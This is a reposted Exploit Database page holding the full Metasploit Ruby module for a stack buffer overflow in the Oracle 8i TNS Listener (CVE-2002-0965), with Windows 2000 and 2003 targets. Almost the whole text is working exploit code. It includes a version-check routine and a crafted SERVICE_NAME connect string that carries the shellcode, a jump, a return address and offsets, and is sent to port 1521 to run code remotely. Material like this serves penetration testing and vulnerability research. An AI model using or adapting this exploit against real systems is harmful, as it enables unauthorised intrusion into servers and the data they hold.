Oracle 8i – TNS Listener SERVICE_NAME Buffer Overflow (Metasploit)

• Exploit Database
• 80 阅读

• 作者： Metasploit
  日期： 2010-11-24
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16341/

• ##
  # $Id: tns_service_name.rb 11128 2010-11-24 19:43:49Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::TNS
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Oracle. When
  				sending a specially crafted packet containing a long SERVICE_NAME
  				to the TNS service, an attacker may be able to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11128 $',
  			'References' =>
  				[
  					[ 'CVE', '2002-0965'],
  					[ 'OSVDB', '5041'],
  					[ 'BID', '4845'],
  					[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/02-0013.shtml' ],
  					[ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 600,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],
  					[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] ,
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'May 27 2002'))
  
  		register_options([Opt::RPORT(1521)], self.class)
  	end
  
  	def check
  		connect
  
  		version = "(CONNECT_DATA=(COMMAND=VERSION))"
  		pkt = tns_packet(version)
  		sock.put(pkt)
  
  		sock.get_once
  		res = sock.get_once(-1, 1)
  
  		disconnect
  
  		if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		buff =rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
  		buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
  		buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)
  
  		sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"
  
  		pkt = tns_packet(sploit)
  
  		print_status("Trying target #{target.name}...")
  		sock.put(pkt)
  
  		handler
  
  		disconnect
  	end
  
  end
  

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